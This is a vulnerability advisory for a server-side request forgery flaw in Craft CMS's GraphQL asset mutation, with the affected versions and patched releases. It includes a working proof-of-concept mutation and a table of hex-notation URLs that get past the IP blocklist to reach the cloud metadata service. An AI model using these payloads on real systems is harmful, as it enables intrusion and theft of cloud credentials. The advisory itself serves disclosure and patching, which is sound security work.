CVE-2026-25494

Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation

6.9 MediumFix available

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.


Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.


Proof of Concept

  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

| Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |


Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
